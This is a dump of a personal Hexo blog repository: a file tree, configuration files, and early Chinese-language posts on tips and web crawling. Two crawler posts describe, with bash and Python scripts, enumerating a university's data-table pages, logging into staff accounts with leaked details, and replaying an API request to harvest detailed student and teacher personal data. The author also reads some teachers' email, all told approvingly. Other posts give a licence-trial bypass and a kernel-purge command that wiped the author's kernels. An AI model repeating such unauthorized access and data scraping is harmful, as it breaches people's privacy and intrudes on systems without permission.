48 | <%= theme.excerpt_link %> 49 |
50 | <% } %> 51 | <% } else { %> 52 | <%- post.content %> 53 | <% } %> 54 |├── .gitignore
├── Readme.md
├── _config.yml
├── package-lock.json
├── package.json
├── scaffolds
├── draft.md
├── page.md
└── post.md
├── source
├── CNAME
├── _posts
│ ├── 2015-02-23-Something1.md
│ ├── 2016-02-02-Jekyll-and-Markdown.md
│ ├── 2016-02-03-Python-Web-Spider-I.md
│ ├── 2016-02-03-Python-Web-Spider-II.md
│ ├── 2016-03-27-R-Basiclly-Use.md
│ ├── 2016-04-07-Crawl-From-Little.md
│ ├── 2016-04-10-Crawl-From-Little-II.md
│ ├── 2016-05-09-Crawl-From-Little-III.md
│ ├── 2016-05-16-Something2.md
│ ├── 2016-06-01-Mongo-And-HanTing.md
│ ├── 2016-06-02--Something3.md
│ ├── 2016-06-26-sublime-useful.md
│ ├── 2016-07-20-Action-in-Full-Stack.md
│ ├── 2016-07-29-first-codereview-in-tuicorn.md
│ ├── 2016-08-08-Something4.md
│ ├── 2016-08-16-Take-Something-In-FFMPEG.md
│ ├── 2016-08-20-uber-in-nodejs.md
│ ├── 2016-08-28-cafee-install-jeston-tk1.md
│ ├── 2016-08-28-ssh-remote-free.md
│ ├── 2016-08-31-mongo-problem-solved.md
│ ├── 2016-09-04-web-full-stack-think.md
│ ├── 2016-09-10-find-Useage.md
│ ├── 2016-09-20-Something5.md
│ ├── 2016-09-23-Js-Open-camera.md
│ ├── 2016-09-30-mongoose-with-mongo.md
│ ├── 2016-10-05-Jmeter-PostMan.md
│ ├── 2016-10-10-Crawl-From-Little-IV.md
│ ├── 2016-11-01-Image-Parse.md
│ ├── 2016-11-09-Get-all-server.md
│ ├── 2016-11-13-Docker-useage.md
│ ├── 2016-11-22-Ocr-Jeston-Tk1-In.md
│ ├── 2016-12-01-Crawl-From-Little-IV-QiChaChaAnd-WeiXin.md
│ ├── 2016-12-05-ssh-reverse-tunnle.md
│ ├── 2016-12-12-How-to-AWS-EMR.md
│ ├── 2016-12-17-Just-Taking-about-code-security.md
│ ├── 2017-06-14-Review-S01-localtunnel.md
│ ├── 2017-06-14-Review-S02-conda-my-useage.md
│ ├── 2017-06-15-Review-S04-Interview-or-not.md
│ ├── 2017-06-16-Review-S05-Tesseract-lstm-traning-datafile.md
│ ├── 2017-06-16-Review-S06-Baiduyun-download-Taolu.md
│ ├── 2017-06-18-Review-S09-Simple-For-Mom.md
│ ├── 2017-07-22-New-Begin-For-Nothing.md
│ ├── 2017-08-19-Ansible-And-Redis-Cluster.md
│ ├── 2017-08-25-Volatility-Memory-Analysis.md
│ ├── 2017-09-10-nginx-subdomain-and-proxy-jupyter.md
│ ├── 2017-09-14-Machine-learning-training-for-nothing.md
│ ├── 2017-11-28-Life-me-up.md
│ ├── 2017-12-18-How_To_Get_Real_.md
│ ├── 2017-12-19-Yara-Cross-Platform-Complie.md
│ ├── 2018-01-01-Review-NN-Note.md
│ ├── 2018-01-05-Cuckoo-In-Action.md
│ ├── 2018-02-13-ELK小记.md
│ ├── 2018-02-13-MITM.md
│ ├── 2018-03-02-Die-With-Dark.md
│ ├── 2018-03-26-OWASP_Top_10_And_Security_Developer_s_Guide.md
│ ├── 2018-03-30-Text-Summarization-GF.md
│ ├── 2018-04-07-GIL-And-Parallel-Programming-With-Python.md
│ ├── 2018-04-09-Text-Classification-With-Keras-And-CNN.md
│ ├── 2018-04-24-GridSearchCV_With_Keras_Models_And_Pipeline.md
│ ├── 2018-04-24-sklearn-and-features-engine.md
│ ├── 2018-04-27-Oh-No-I-Can't-Breath.md
│ ├── 2018-05-03-select_best_from_batch_algorithms_and_autoclf_introduction.md
│ ├── 2018-05-04-Inlier-Outlier-Detection.md
│ ├── 2018-05-04-Word-Cloud-and-Content-Extract-From-Website.md
│ ├── 2018-05-05-Review-NN-Note2.md
│ ├── 2018-05-10-IsolationForest.md
│ ├── 2018-05-15-ML-IN-Webshell-Detection-Advantages-And-Disadvantages.md
│ ├── 2018-07-02-k8s_and_SecDevOps_with_AWS_.md
│ ├── 2018-07-07-Deploy-Coin-Node-With-Terraform-In-AWS.md
│ ├── 2018-07-07-Incident-Response-In-Rate-Limit.md
│ ├── 2018-08-06-Anti-Spam-and_KYC_.md
│ ├── 2018-08-12-Agile-Development-and-cross-team-communication.md
│ ├── 2018-08-26-AliSEC3.md
│ ├── 2018-09-20-Talking-About-Char-RNN-And-fuzzing.md
│ ├── 2018-10-01-MeiTuanMachineLearning-FeatureEnginne-Note.md
│ ├── 2018-10-29-DGA-Detect.md
│ ├── 2018-11-24-Thinking-Doing.md
│ ├── 2018-12-08-About-Detection.md
│ ├── 2019-01-01-New-Year.md
│ ├── 2019-01-07-Golang-Tour-Boomb.md
│ ├── 2019-01-25-Project-Manager.md
│ ├── 2019-03-13-Thinking-about-Interview.md
│ ├── 2019-03-25-Anti-Spider.md
│ ├── 2019-04-14-DSMM-Date-Security.md
│ ├── 2019-05-09-Massive-Security.md
│ ├── 2019-06-24-Anti-Intrusions.md
│ ├── 2019-06-29-HW-And-Pentest.md
│ ├── 2019-07-27-Fuzzing-Tutorial-01.md
│ ├── 2019-07-27-Fuzzing-Tutorial-02.md
│ ├── 2019-07-27-Fuzzing-Tutorial-03.md
│ ├── 2019-07-30-Let_s_get_start_to_fuzzing_sqlite3_latest_with_fuzzer_test_suite.md
│ ├── 2019-07-31-Let_s_get_start_to_fuzzing_binutils_with_AFL.md
│ ├── 2019-07-31-Let_s_get_start_to_fuzzing_firefox_browser_with_grizzly.md
│ ├── 2019-07-31-Let_s_get_start_to_fuzzing_libssh_latest_with_fuzzer_test_suite.md
│ ├── 2019-08-05-Anit-Intrusion-With-Data-Collection-Solutions.md
│ ├── 2019-08-20-Mitre-ATT-CK-With-Intrusion-Detection.md
│ ├── 2019-09-01-Openresty-Learning.md
│ ├── 2019-09-07-How-To-Design-Your-KPI-Of-Anti-Intrusions.md
│ ├── 2019-09-30-About-Incident-Response-In-Big-Problem.md
│ ├── 2019-10-24-zhaoyan-books-read-note.md
│ ├── 2019-11-03-What-Hells-In-JumpServer.md
│ ├── 2019-11-20-Security-Architecture-Review.md
│ ├── 2019-12-13-Before-New-Year.md
│ ├── 2020-02-02-WTF-WH.md
│ ├── 2020-02-10-How-To-Build-A-Watermark-Tools.md
│ ├── 2020-02-11-Manage-Secret-In-K8S.md
│ ├── 2020-03-21-CA_Generate_CA_with_mkcert.md
│ ├── 2020-03-21-CA_How_to_build_your_own_Certificate_Authority.md
│ ├── 2020-03-21-CA_Overview_of_Certificate_Filetype_How_to_covert_it_with_Openssl.md
│ ├── 2020-03-21-Talk-About-Imperva_WAF_Deploy-Architecture.md
│ ├── 2020-04-15-Thinking-about-Interview-II.md
│ ├── 2020-04-15-What-Hells-In-HSM.md
│ ├── 2020-05-04-Security-Architecture-Review-II.md
│ ├── 2020-06-02-What-Hells-In-CA-And-RA.md
│ ├── 2020-06-22-Talk-about-data-security.md
│ ├── 2020-07-05-OpenSource-VS-Business.md
│ ├── 2020-08-07-Cert-OpenSSL.md
│ ├── 2020-10-17-Recent-Time.md
│ ├── 2020-11-12-Vault_KMS_How_to_initialized_hashicorp_vault_safely.md
│ ├── 2020-12-10-Thoughts_on_Fast_Incident_Response_FIR_.md
│ ├── 2020-12-14-CA_Build_a_internal_CA_with_Openssl_and_SoftHsm2.md
│ ├── 2020-12-16-Let_s_write_a_simple_encryption_services_with_softhsm2_and_flask.md
│ ├── 2020-12-23-let_s_write_a_ftp_services_with_Data_At_Rest_Encryption.md
│ ├── 2020-12-28-Security-Architecture-Review-III.md
│ ├── 2021-03-09-Hashicorp_Vault_Advanced_Tutorial_For_Enterprise.md
│ ├── 2021-03-24-Recent-Time-II.md
│ ├── 2021-05-10-Happened.md
│ ├── 2021-05-31-MY-Enterprise-Cyber-Security-Architecture.md
│ ├── 2021-06-24-Architecture-Outline.md
│ ├── 2021-08-05-BU-Security.md
│ ├── 2021-08-19-Enterprise-Security-Architecture-01.md
│ ├── 2021-09-27-Applied-Cryptography-And-Crypto-Infrastructure.md
│ ├── 2021-12-31-EOY-More-Ways-To-Make-A-Difference.md
│ ├── 2022-03-16-Enterprise-Security-Architecture-02.md
│ ├── 2022-05-31-Architecture-Discussion.md
│ ├── 2022-06-13-Privacy-Computing-And-Data-Security.md
│ ├── 2022-07-06-Design-Your-Security-Architecture-OKR.md
│ ├── 2022-08-22-Build-Your-Data-Security-Architecture.md
│ ├── 2022-08-31-End-User-Computer-Control-And-DLP.md
│ ├── 2022-09-17-The-Diffculty-Of-Security-Architecture.md
│ ├── 2022-10-12-Terraform-Training-IAC.md
│ ├── 2022-10-18-Explore-Microsofts-Security-Products-Overview.md
│ ├── 2022-10-23-Modern-SDLC-and-Security-Architecture-Review.md
│ ├── 2022-10-27-Operation-within-Security-Architect.md
│ ├── 2022-11-03-Security-Shift-To-Left.md
│ ├── 2022-11-06-Modern-Sceurity-Product.md
│ ├── 2022-11-16-Build-Your-Security-Specifications.md
│ ├── 2022-11-27-Need-To-Do-Something.md
│ ├── 2023-01-05-Build-Security-Architecture.md
│ ├── 2023-01-15-Process-Design-And-Optimization.md
│ ├── 2023-02-03-Li-Chun.md
│ ├── 2023-02-09-From-Security-Governance-To-Security-Verification.md
│ ├── 2023-02-27-How-To-Defense-In-Depth.md
│ ├── 2023-03-19-Summary-OF-PMO-Experience.md
│ ├── 2023-04-05-Azure-ChatGPT-with-LLAMA-Index.md
│ ├── 2023-06-12-System-And-Archtecture.md
│ ├── 2023-06-19-Data-Security-And-Archtecture-Selected.md
│ ├── 2023-07-11-When-I-Think-Manager-and-Do.md
│ ├── 2023-07-19-Insight-Of-Security-Operation-Center-And-Collective-Intelligence.md
│ ├── 2023-08-15-Data-Security-Law-And-ALL-CyberSecurity-Related-Law-In-China.md
│ ├── 2023-12-31-Life-Summary.md
│ ├── 2024-01-05-Secuirty-By-Default.md
│ ├── 2024-03-17-Summary-Of-Network-And-Cloud-Security-Architecture-Design.md
│ ├── 2024-05-24-Security-Operation-Design-For-Failure.md
│ ├── 2024-09-19-Finance-Tech-Security-And-Security-Principle-For-Architecture-TOGAF-C246-Notes.md
│ ├── 2024-10-27-Break-The-Rules.md
│ ├── 2024-12-16-Things-About-Me-And-Enterprise-Cyber-Security-Architecture.md
│ ├── 2025-02-24-Generative-AI-Security-Guideline.md
│ ├── 2025-03-09-Follow-Freedom.md
│ └── 2025-04-05-Deep-Dive-Into-Clearing-Network.md
├── about
│ └── index.md
├── category
│ └── index.md
├── project
│ └── index.md
├── search
│ └── index.md
└── tag
│ └── index.md
└── themes
└── fexo2
├── LICENSE
├── README.md
├── _config.yml
├── gulpfile.js
├── languages
├── default.yml
├── en.yml
├── zh-CN.yml
└── zh-TW.yml
├── layout
├── _partial
│ ├── article.ejs
│ ├── baidu-analytics.ejs
│ ├── baidu-push.ejs
│ ├── component
│ │ ├── back-top.ejs
│ │ ├── category-box.ejs
│ │ ├── category.ejs
│ │ ├── comments.ejs
│ │ ├── date.ejs
│ │ ├── disqus.ejs
│ │ ├── donation.ejs
│ │ ├── duoshuo.ejs
│ │ ├── gentie.ejs
│ │ ├── hypercomments.ejs
│ │ ├── item-category-name.ejs
│ │ ├── item-post.ejs
│ │ ├── item-tag.ejs
│ │ ├── item-year.ejs
│ │ ├── modal.ejs
│ │ ├── page-header.ejs
│ │ ├── pagination.ejs
│ │ ├── prev-net.ejs
│ │ ├── tag-box.ejs
│ │ ├── tag-list.ejs
│ │ ├── title.ejs
│ │ ├── toc.ejs
│ │ ├── toolbox.ejs
│ │ └── valine.ejs
│ ├── google-analytics.ejs
│ ├── head.ejs
│ ├── home.ejs
│ ├── load-script.ejs
│ └── style.ejs
├── about.ejs
├── archive.ejs
├── category.ejs
├── index.ejs
├── layout.ejs
├── link.ejs
├── post.ejs
├── project.ejs
├── search.ejs
└── tag.ejs
├── package.json
└── source
├── css
├── custom.css
├── styles.css
└── styles.css.map
├── favicon.ico
├── fonts
├── LXGWWenKai-Regular-min.ttf
├── Lobster-Regular.eot
├── Lobster-Regular.svg
├── Lobster-Regular.ttf
├── Lobster-Regular.woff
├── PoiretOne-Regular.eot
├── PoiretOne-Regular.svg
├── PoiretOne-Regular.ttf
├── PoiretOne-Regular.woff
├── calligraffitti-regular-webfont.eot
├── calligraffitti-regular-webfont.svg
├── calligraffitti-regular-webfont.ttf
├── calligraffitti-regular-webfont.woff
├── calligraffitti-regular-webfont.woff2
├── fontello.eot
├── fontello.svg
├── fontello.ttf
├── fontello.woff
├── fontello.woff2
└── fzssjt.ttf
├── images
├── 02.png
└── avatar.png
├── js
├── app.js
├── bundle.js
├── fastclick.js
├── scroll-spy.js
├── util.js
└── zenscroll.js
└── sass
├── _animate.scss
├── _base.scss
├── _common.scss
├── _fontello.scss
├── _fonts.scss
├── _highlight-js.scss
├── _normalize.scss
├── _type.scss
├── _variable.scss
├── component
├── _back-top.scss
├── _category-box.scss
├── _comments.scss
├── _donation.scss
├── _hint.scss
├── _index.scss
├── _item-category-name.scss
├── _item-post.scss
├── _item-title.scss
├── _item-year.scss
├── _list-post.scss
├── _modal.scss
├── _page-header.scss
├── _pagination.scss
├── _table.scss
├── _tag-box.scss
├── _toc.scss
├── _toolbox-mobile.scss
├── _toolbox.scss
└── prev-net.scss
├── pages
├── _about.scss
├── _archive.scss
├── _category.scss
├── _home.scss
├── _index.scss
├── _link.scss
├── _post.scss
├── _project.scss
├── _search.scss
└── _tag.scss
└── styles.scss
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | Thumbs.db
3 | db.json
4 | *.log
5 | node_modules/
6 | public/
7 | .deploy*/
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | > Good morning, and in case I don't see ya, good afternoon, good evening, and good night
2 |
3 | ## Changelog
4 |
5 | ### 2024/0115
6 |
7 | * Modified blog domain to https://fz.cool
8 |
9 | ### 2023/06/25
10 | * Display blog directly
11 | * Modified the blog style , include font, css, and related
12 | * Modified blog name to “開”
13 | * Modified solgon to “吾生也有涯, 而知也无涯”
14 |
15 | ### 2023/04/14
16 | 
17 |
18 | * enable new styles in https://iami.xyz
19 | * move blog from https://iami.xyz to https://iami.xyz/blog
20 | * add icon and website link to new homepage
21 | * move all images from https://user-images.githubusercontent.com to https://img.iami.xyz
22 |
23 | ### 2022/09/22
24 | 
25 | * Blog: https://iami.xyz
26 | * Blog RSS: https://iami.xyz/atom.xml
27 | * Notes: https://github.com/mylamour/blog/issues
28 | * My Book: https://book.iami.xyz or https://www.securityarchitecture.pro/
29 | * Read List: https://iread.cool
30 |
31 |
32 | ### 2016/02/02
33 | * move blog from wordpress to github pages
34 |
35 | ### 2014
36 | * i can't remember
37 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "hexo-site",
3 | "version": "0.0.0",
4 | "private": true,
5 | "hexo": {
6 | "version": "7.0.0"
7 | },
8 | "dependencies": {
9 | "hexo": "^7.0",
10 | "hexo-deployer-git": "^0.3.1",
11 | "hexo-generator-archive": "^0.1.4",
12 | "hexo-generator-category": "^0.1.3",
13 | "hexo-generator-feed": "^3.0.0",
14 | "hexo-generator-index": "^0.2.0",
15 | "hexo-generator-seo-friendly-sitemap": "^0.2.1",
16 | "hexo-generator-tag": "^0.2.0",
17 | "hexo-renderer-ejs": "^0.3.0",
18 | "hexo-renderer-marked": "^0.3.0",
19 | "hexo-renderer-stylus": "^0.3.1",
20 | "hexo-search": "^1.0.4",
21 | "hexo-server": "^0.2.0"
22 | }
23 | }
--------------------------------------------------------------------------------
/scaffolds/draft.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: {{ title }}
3 | tags:
4 | ---
5 |
--------------------------------------------------------------------------------
/scaffolds/page.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: {{ title }}
3 | date: {{ date }}
4 | ---
5 |
--------------------------------------------------------------------------------
/scaffolds/post.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: {{ title }}
3 | date: {{ date }}
4 | tags:
5 | ---
6 |
--------------------------------------------------------------------------------
/source/CNAME:
--------------------------------------------------------------------------------
1 | fz.cool
--------------------------------------------------------------------------------
/source/_posts/2015-02-23-Something1.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小技巧 I
4 | categories: 一个小学生
5 | tags: 旧文迁移 小技巧
6 | ---
7 |
8 | * 下载东西老是显示文件有危害,无论是任何文件,
9 | 怎么办呢。直接下载结束的时候改文件名就行了
10 |
11 |
12 | * 浏览器下载的时候网速很慢,那么复制下载链接到迅雷吧。
13 |
14 |
15 | * 记住用不同的搜索引擎搜不同的
16 |
17 |
18 | * 想我最开始接触Ubuntu之后,总是折腾,然后图形界面没了,最开始的解决办法是,操作回退,然而没卵用,
19 | 可以安装其他桌面,重新安装桌面,其实最方便的就是apt-get install xorg-server
20 |
21 | * 网页中保存过密码,密码忘了,一是通过浏览器已保存的查看,另外就是直接查看源码,定位到password,把其type改为text即可,一下就能看见
22 |
23 | * 碰见收费软件,尤其是jetbrains系列的,哪个115的license server好像不能用了,不过没关系,在激活30天试用前,把电脑日期调到后几十年即可。当然我不提倡盗版,有钱的情况下我会尽量支持正版——————
24 |
25 | * 装完ubuntu,开机却是Grub Rescue,那么,首先确定的是已经装上去了,然后看看在哪个分区,设置引导。
26 |
27 | >
28 | * set root = (hd0,msdos4)
29 |
30 | >* set prefix = (hd0, msdos4)/usr/grub
31 | * insmod normal normal
32 | * set cmdpath
33 | >
34 | 等进去之后更新下GRUB即可。
35 |
36 |
37 | 就想起这么多
38 |
--------------------------------------------------------------------------------
/source/_posts/2016-02-03-Python-Web-Spider-I.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 爬虫学习一
4 | categories: 一个小学生
5 | kerywords: Spider Web Crawler
6 | tags: 爬虫与反爬虫 旧文迁移
7 | ---
8 |
9 | ## 前言
10 | 闲来无事,总结一下自己对爬虫和搜索引擎的认识。作为一个知识回顾,顺便再理一理思路。最开始的时候之所以想使用爬虫,是因为下载东西不方便,后来呢又想自己写一个小型的搜索引擎作为尝试。开始去接触相关的知识,学习python,也逐渐认识到一些库。
11 | ## 我的零开始
12 |
13 | ### 基础知识
14 |
15 | 访问一个网址,经由DNS服务器解析之后得到相应的ip地址,额,好像没什么关系。但是搜索引擎其实就是将整个互联网上的URL集合进行存储,建立索引。本质也就是一个大的爬虫而已。采取分布式的抓取,定期的更新索引,应该还是多线程的。
16 |
17 | 在访问URL的过程中,你需要先知道 一些HTTP状态码,这些状态码告诉你这些URL代表的页面是否存在,或者已被迁移。常见的有404,200等,当你抓取到不存在的页面时,你需要判断将这个URL放入到哪个序列,未抓取,已抓取,已抓取但未找到(或者是失效的队列),当然往常只有两个队列就是已抓取和未抓取两个队列。
18 |
19 | ### 设计一个容器
20 | 或者说有一个设计好的代码框架,有入口有出口。入口可以是单个的URL,也可以是一堆的URL,然后分别去下载这些URL对应的页面。当然在你下载了这个页面之后,这才仅仅只是开始了一小步,因为你要做的是获取其中的数据。而不仅仅是下载下来。这时候你需要设计一个解析器,说白了也就是一个函数。想好它将会接收那些参数,又需要返回什么样的结果。我记得之前有次和老师聊天,老师说要学会面向接口编程,上网上查了半天资料也没有找到有用的,当时也没有明白。之后逐渐明白了接口的重要性,你需要设计好一个别人拿来就能用的函数。解析器就应该是这样的。
21 | 但不仅仅是至进行解析的处理,还应该将异常情况考虑好,怎么抛出怎么处理。
22 |
23 | 解析的时候,可以从文件里面进行解析,也可以直接读取保存的字符串变量。解析的时候可以使用正则表达式匹配,这样就很高级了。当然也可以用相应的库来完成这个工作。
24 |
25 | 反正我是认为设计模式这个是十分重要的,无论写什么代码,只有将条理理得清清楚楚,知道怎么写,流程往哪里走才行。这样写出来的代码会很少bug。
26 |
27 | ### 数据的存储和索引
28 | 这时候你已经解析好了文件,应该将所需的结果存储起来。其实这里再一步体现了设计的重要性。如果你将这些数据放到文本里就先不说了,但是如果放到数据库中,数据库中的表的设计不也需要仔细想想。假如你爬到的是一些财经的数据,你就按照XX指标,XX点,XX涨幅等等等建个表,那么你的数据库是不是也要考虑一下写上新的事务。
29 |
30 | 到了全部存储好了,你需要快速的去查找到这些数据,难道每次都要`SELECT * FROM x_TABLE WHERE X_NAME = '$_INPUT'`,这样的效率要慢的多,之前没事的时候浅浅的用过solr,虽然只是按着doc玩了一会,但是可以明显的看出来,人家支持各种格式的导入,什么csv,yml,xml,json的,都能直接导进去建立索引,搜索的时候也是很快(当然也可能因为是示例数据少吧,大的数据没试过,好伤心)。期间还学到了其他的好玩的,例如awk,grep,不过sed还是不会用。又蛮开心的。
31 |
32 | 写到这的时候突然想,像我这种渣渣,算法菜得一逼,真待补补了。越发觉得算法的重要性,真的是十分重要。算法是魂,绝对是。当然我写的小爬虫可能没有用到,但是但是,TMD算法是真的重要啊。
33 | ### 爬虫和反爬虫技术
34 | 有人玩爬虫,就有人反爬虫。你一个爬虫请求的速度那么快,假如好多爬虫都去访问人家的网址,那不是坑比了。不过我这种菜菜还领悟不到这种深奥,只说一下知道的最浅薄的吧。
35 | >常见的反邮件爬虫的方法就是将邮件地址写成 someaddress AT gmail.com 将@写成AT即可。
36 |
37 | >禁止一定时间段内的IP访问次数
38 |
39 | >听说还有的是进行大数据建模,分析出是否是人类行为,感觉是十分高大上的。不知道新浪的清理死粉是不是这样做的
40 |
41 | 至于登陆的时候千奇百怪的验证码技术,也是一个十分好的防爬虫技术。就拿12306的登陆验证码,我相信现在的图片识别技术应该难识别的。
--------------------------------------------------------------------------------
/source/_posts/2016-04-07-Crawl-From-Little.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小小爬虫学习中(一)
4 | categories: 一个小学生
5 | kerywords: Spider Web Crawler
6 | tags: 爬虫与反爬虫 旧文迁移
7 | ---
8 |
9 | 找到最适合自己的抓取方式,不论是Python, wget,curl, NodeJs, R ,随便你,开心就好(抓取的数据要有效率)
10 |
11 | 事情的起源是,someday,我发现了学校的一个网站有信息泄露了,背单词苦逼到几点我,好想日站。然而,我怎么能做这种有辱xx的事呢,好了借口找不到了,切入正文。
12 |
13 | 找到url, 构造类似与 xxx.edu.cn/xxx.jsp?tableid=yyy
14 | 由于我当时并不知道,到底1-yyyy之间有多少有用的,所以就直接把1-yyyy之间全抓了,而且傻逼的最开始并未考虑其中有的表页是空白。当时就用了几行代码,用的自带的wget,写了个循环了事。
15 |
16 |
17 | ```bash
18 | #!/bin/bash
19 | for i in {1..800}
20 | do
21 | echo http://xxx.xxx.edu.cn:8081/KingoKJ/taglib/DataTable1.jsp?tableId=$i >>myurl
22 | done
23 | time cat myurl|while read line;do curl -l $line -m 5 --connect-timeout 5 -o /dev/null -s -w "$line "%{http_code}" "%{size_download}"\n" >>kb_TEST ; done
24 | ```
25 |
26 | 这一次测试出了有哪些空白页,没办法数据不是可用的,输出的都是这样的
27 | 
28 |
29 | 从图上就可以看出最小的是1026字节,于是乎稍加修改可以得到这样的结果,url全是验证过的具有内容的。
30 | 
31 |
32 | 然后就可以简单的抓下来网页,顺便截个图。
33 | 截图是用的phantomjs ,当时怕要是自己分析不好,先拿个一眼能看的数据备份一份下来。(在zsh中安装Phantom之后可能无法直接使用,要切换回bash才行)
34 |
35 | 1.截图的js代码,参考官网,不过当时测试时,怕截不完整,查了下资料
36 |
37 | ```js
38 | var page = new WebPage(),
39 | address, output, size;
40 |
41 | if (phantom.args.length < 2 || phantom.args.length > 3) {
42 | console.log('Usage: rasterize.js URL filename');
43 | phantom.exit();
44 | } else {
45 | address = phantom.args[0];
46 | output = phantom.args[1];
47 | page.viewportSize = { width: 500, height:1000}
48 |
49 | //如何滚动到页面底部,你可以设置显示器很大很大就行了
50 | page.open(address, function (status) {
51 | if (status !== 'success') {
52 | console.log('Unable to load the address!');
53 | } else {
54 | window.setTimeout(function () {
55 | page.render(output);
56 | phantom.exit();
57 | }, 200);
58 | }
59 | });
60 | }
61 |
62 | ```
63 |
64 | 然后就是配合一个极为简单的shell脚本,循环一下,wget到全部。
65 |
66 | ```bash
67 | cat usefulurl | while read line
68 | do
69 | echo $line
70 | wget $line > $line
71 | phantomjs jietu.js $line $line.png
72 | done
73 | ```
74 |
75 | 这里发现如果你是url新建的是url类型的文件夹,他会建连续一串嵌套的文件,针对这里抓到的截图文件
76 | 
77 | 其他的则是正常的
78 | 
79 |
80 | 其实呢,针对我这个地方的抓取,用R是更加的方便的,通过rvest包,可以很方便的将获取所有表格。虽然我并没有采取使用R的方法,一开始写的python脚本,也是循环get数据,但是并不如wget更好使。本来打算一次性放在这篇里面,但是有点累了,决定把另一半放到下一篇再写。另外抓这个的时候还是很兴奋的,一连搞了一天多。还有我的好朋友,谢谢你。
--------------------------------------------------------------------------------
/source/_posts/2016-04-10-Crawl-From-Little-II.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小小爬虫学习中(二)
4 | categories: 一个小学生
5 | kerywords: Spider Web Crawler
6 | tags: 爬虫与反爬虫 旧文迁移
7 | ---
8 |
9 | 接上回那个勉强算得上或算不上抓取的回忆,但是那些数据之中有一些很敏感的信息,包括教师的详细信息,利用这个信息登陆统一身份验证平台,想必又会有收货呢
10 |
11 | 先登陆统一身份验证平台,在登陆的过程中,发现女老师对密码安全基本是没什么意识的,虽然你们也是计算机学院的,但是你们真的好意思说你们是计算机学员的吗?在登陆进去,发现老师可以查询学生的信息(仅包含姓名学号,班级),看了看挺失望的,毕竟这些信息没什么鸟用,但是当我看网页源码的时候,发现这个系统的开发人员很不负责,只是把之前写的文本框给遮盖了,但是还是靠那个传数据。于是抓包分析,发现是post request payload,response的结果却是student的详细信息(一应俱全,应有尽有),好呗
12 | 不得不说,很激动,抓呗。
13 |
14 | ```python
15 | #-*-coding:utf-8-*-
16 | import requests
17 | import urllib2
18 | import urllib
19 | import encodings
20 |
21 | url = ""
22 | header={}
23 | def xs(request_payload):
24 | request = urllib2.Request(url, headers=headers, data=urllib.urlencode(request_payload))
25 | response = urllib2.urlopen(request, timeout=5)
26 | content = response.read()
27 | print(content)
28 |
29 | for i in range(1,70):
30 | m_request_payload = {
31 | 'callCount':'1',
32 | 'httpSessionId':'ssssssssssssssssssssssssss',
33 | 'scriptSessionId':'sssssssssssssssssssssssss',
34 | 'page':'/xxxxx/xxxxx/171',
35 | 'c0-scriptName':'XSXXDwrAction',
36 | 'c0-methodName':'getList',
37 | 'c0-id':'165116513216516',
38 | 'c0-param0':'number:'+ str(i),
39 | 'c0-param1':'null:null',
40 | 'c0-param2':'null:null',
41 | 'c0-param3':'string:',
42 | 'c0-param4':'number:15'
43 | }
44 | xs(m_request_payload)
45 | ```
46 |
47 | 当然这还没有解码,数据获取的类型是
48 | 
49 |
50 | ```python
51 | import re
52 | pattern = r'"(.*?)"'
53 | with open('IDinfomation','r') as f:
54 | key = re.findall(pattern,f.read())
55 | for peopele in key:
56 | tt=peopele.decode('raw_unicode_escape').encode('utf-8')
57 | ```
58 |
59 | 最后稍微提取一下就能得到详细的信息了,全是你想要的,如果在内网中,还可以通过统一身份平台跳到教务系统,然后把这些人的图片爬下来,哈哈,想想都有点激动呢。
60 |
61 | 然后晚上的时候,登一个账号发现里面的通讯录的response也是很奇怪,把老师的详细信息都response了,稍微改下post,于是所有的老师更加详细的信息到手。而且没事还挑了几个老师的学校邮箱看了看,不过并没有什么有用的。
62 | 本来想做个统计,绘个图表,结果发现统一信息门户里面都已经给了可视化的图,虽然很丑。不过我现在数据并未完全组织好,也没插入到数据库,电脑估计是要重装了。之前折腾的有问题了。
63 |
64 | 最后,老师来查mac地址,希望没事吧。虽然这个没有什么技术含量,但是还是很有动力的。
--------------------------------------------------------------------------------
/source/_posts/2016-05-16-Something2.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小技巧 II
4 | categories: 一个小学生
5 | tags: 小技巧 旧文迁移
6 | ---
7 |
8 | * window下在一个文件夹内,按住shift之后右键,可以看到在此处打开命令行。当然还有一种方法是直接把要执行的文件拖进来即可。不过还是比较喜欢右键终端的方式。
9 |
10 | * 下载youtube视频,例如 www.youtube.com/sssdsdsds/ ,直接在youtube前加ss即可,即:www.ssyoutube.com/sssdsdsds
11 |
12 | * Mantra是个很好用的浏览器,其实就是firefox集成完一大堆的插件,对于我来说是比较方便的(此处有坏笑)。
13 |
14 | * mosh而不是ssh,是上次看到freemind的博客之后知道的,很方便,可以保存断网后的状态。很方便就能恢复工作空间,实乃手机远程服务器的必备物品。
15 |
16 | * shell命令之nautilus,这个命令好像都知道吧,就是打开个文件管理窗口,sudo 打开的具有所有权限,满足拖拽欲。
17 |
18 | * 删除旧的内核
19 | >
20 | ```
21 | sudo aptitude purge ~ilinux-image-.*\(\!`uname -r`\)
22 | ```
23 | >
24 | 这个记住写博客的时候要注意markdown中会对\进行转义
25 | 按道理讲是没有问题的,但用这个删掉了我所有内核,启动项都没了。不过别怕,打开livecd搞个同版本的先拷进去就能用了。
26 |
27 | * jekyll好像有问题了,需要在_config.yml中加入
28 | >
29 | ```
30 | gems :
31 | - jekyll-paginate
32 | ```
33 |
34 | 这个一定要注意格式
35 |
36 | * 对了,有时候挂载不了盘,ntfs格式的用ntfsfix /dev/sda3(那个你挂载不了的设备),
37 | 但是ext格式的呢,可以先去media下面建个文件夹sda3(文件夹名字可以随意),然后mount即可
38 | >
39 | ```bash
40 | $ mkdir /media/sda3
41 | $ mount /dev/sda3 /media/sda3
42 | ```
43 | 再一次,只想到了这么多,有时间再加吧。
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
--------------------------------------------------------------------------------
/source/_posts/2016-06-01-Mongo-And-HanTing.md:
--------------------------------------------------------------------------------
